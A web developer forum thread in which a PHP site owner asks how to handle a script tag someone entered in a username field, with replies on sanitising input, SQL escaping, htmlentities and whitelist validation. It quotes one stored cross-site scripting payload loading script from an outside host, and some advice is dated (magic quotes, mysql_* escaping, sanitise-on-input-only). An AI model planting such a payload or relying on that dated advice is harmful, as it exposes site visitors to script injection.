I was digging through my database and saw that someone had entered (where their name should have been) some code calling a php script from their site. This is obviously a big security concern, and I'm not sure if my site was vulnerable, and if so, how I can prevent this kind of thing in the future. I know you can use the strip_tags() function to strip out HTML and PHP tags before echoing back to the browser, but was wondering if this is necessary every single time you want to present user submitted information on the site? I do have the magic_quotes_gpc turned on on my php.ini. Thanks, I'd really appreciate any advice you guys/girls can give.
Yes, all user input, no matter whether you are outputting it again, should be stripped, washed, scrutinized and sanitized. Bottom line is, you can't trust them. Your code needs to check you're getting exactly what you are expecting.
Ok thank you for the quick reply. Is strip_tags() the best way to do this? As I understand it, with the magic quotes turned on, the only vulnerability of this sort would occur when I'm actually sending the data to the browser. Is this incorrect?
No, you are still wide open to SQL injection too. Here are some code examples of how to deal with user input: http://www.webdeveloper.com/forum/showthread.php?threadid=128094
Okay thanks once again for the help, really appreciate it. What about the first question in my last post? Is strip_tags() the best option for displaying data? EDIT: Now that I've read the thread you link to, I'm still a little unclear on the theory behind it. In: function sanitize($value) { $value = trim($value); [B] if(get_magic_quotes_gpc()) { $value = stripslashes($value); }[/B] if(!is_numeric($value)) // only need to do this part for strings { $text = @mysql_real_escape_string($value); if($text === FALSE) // we must not be connected to mysql, so.... { $text = mysql_escape_string($value); } $value = "'$text'"; } return($value); } Code (markup): Why are we doing the stripslashes here if the magic quotes ARE turned on? Isn't that just undoing what magic quotes does?
mysql_escape_string() will render most things if not everything that is passed harmless. A hacker would really have to get creative to pass that. Magic quotes can kind of mess up that function if the input isn't cleaned first. Zen
Ah okay thanks for the explanation, got it. I'm assuming mysql_escape_string() protects against SQL injections, but what about plain old script inclusion? Should I be using strip_tags() (or something else? if so, what?) every time I display text?
Check out the PHP Filtering with OWASP. You can use sanitize function described there to filter user input. And I think for better performance you need to sanitize text before writing to the DB, not on every page load.
What we're trying to say is, if you sanitize what comes *in* - you don't have to worry anymore about what goes *out* because it's trusted no matter what.
Yea, got that, and I appreciate it as I said, however it's not sufficient in itself. This is a work-in-progress that is also live and that has received thousands of user-inputs that I can't just delete...
Awesome thanks a lot. I think I get the same people helping me out a lot because every time I try to rep someone it tells me I need to spread it around more Doesn't look like you need it too bad, though
will do... now im off to add htmlspecialchars() about 5 times per page in about 5-10 pages.. fun stuff
You know, I don't really think anyone (including me) answered your question on strip_tags(). It's not suited for what you found. It will remove html from input but what you found when someone tried to call an outside php script from a form by injecting PHP code or SQL code was someone trying to see if your script was vulnerable. strip_tags won't help you there. You were set in the right direction. You need to check all user input and never trust it. You mentioned someone tried to mess with the user name field, right? Great example. You should only allow alpha numeric characters (A-Z a-z 0-9) and the underscore character in that field and reject all others (even spaces).
Yeah, I agree, and I know that I should implement better validation... it is just that there is so much to do because when I started this site I knew very little about PHP, and I basically learned PHP by writing the whole site (and a few others) myself. That was great experience, and I feel like I know PHP fairly well now, but without any formal computer science background and only a few months of coding under my belt I'm sure you can imagine that there are some holes and errors. Now I have to just go back and patch things up. It does appear that strip tags was incorrect for my purposes, but I implemented htmlentities and that seems to be working well. I think you guys understood my explanation of the attack, but just incase, here's an approximation of what he entered in a username input field. <script src="http://hissite.com/script.php">name</script> Code (markup): I am a little concerned because the way things were before, this was displayed on a page on my site and it was loaded as well. I honestly don't know if his attack worked or not, so I contacted the company managing my dedicated server and explained what happened.. just waiting for a reply. For future reference, is that kind of attack referred to as cross site scripting? Or is it something else? Thanks again guys for the help, I was really worried about this.
Cross Site Scripting of a certain flavour indeed. Though this doesn't get executed until it's clicked - there are worse scenario's. If you use strip tags upon output or htmlspecialchars his stunt will break but your site will be quite ugly. You'll probably want to write a script that pulls every record in to a sanitizer and spits it back into the database. Shouldn't take much more than an hour or so to code.
One thing you can do is look in Pear. There you can search for field validation modules that would make it easy for you. Best thing to do is not to try to re-invent the wheel.
I use regex's on every single field that is inputed. A Person's name, address, email, gender etc. ANYTHING that the user has the opportunity to change on a form will get validated for me. ~~~ USER: SO, I use radio buttons to select gender. This means that they can only select "male" and "female", correct?? NOPE!!!!! By copying your form and placing it on a local / other server, they can edit the form to their desires. They can change that radio button to lets say a textbox. They now have the ability to fill out the "gender" field with anything that they wish. All that is left is changing the form action="" to equal your server. If you can expect what data is coming in, VALIDATE IT REGARDLESS OF ANYTHING!! For instance, in a radio/dropdown field I KNOW what the selections are, so they are going to be the ONLY thing that will get through my script. Lets take that gender radio button as an example. Please choose your gender: Gender: o (male) o (female) The only two values that are going to come into my script from this field NO MATTER WHAT are "male" and female". Lets make it so. $genderAllowed = array("male","female"); $genderPostedData = $_POST['gender']; if (in_array($genderPostedData,$genderAllowed)) { echo "SUCCESFULLY VALIDATION."; } else { echo "The value you supplied for \"gender\" is invalid"; } PHP: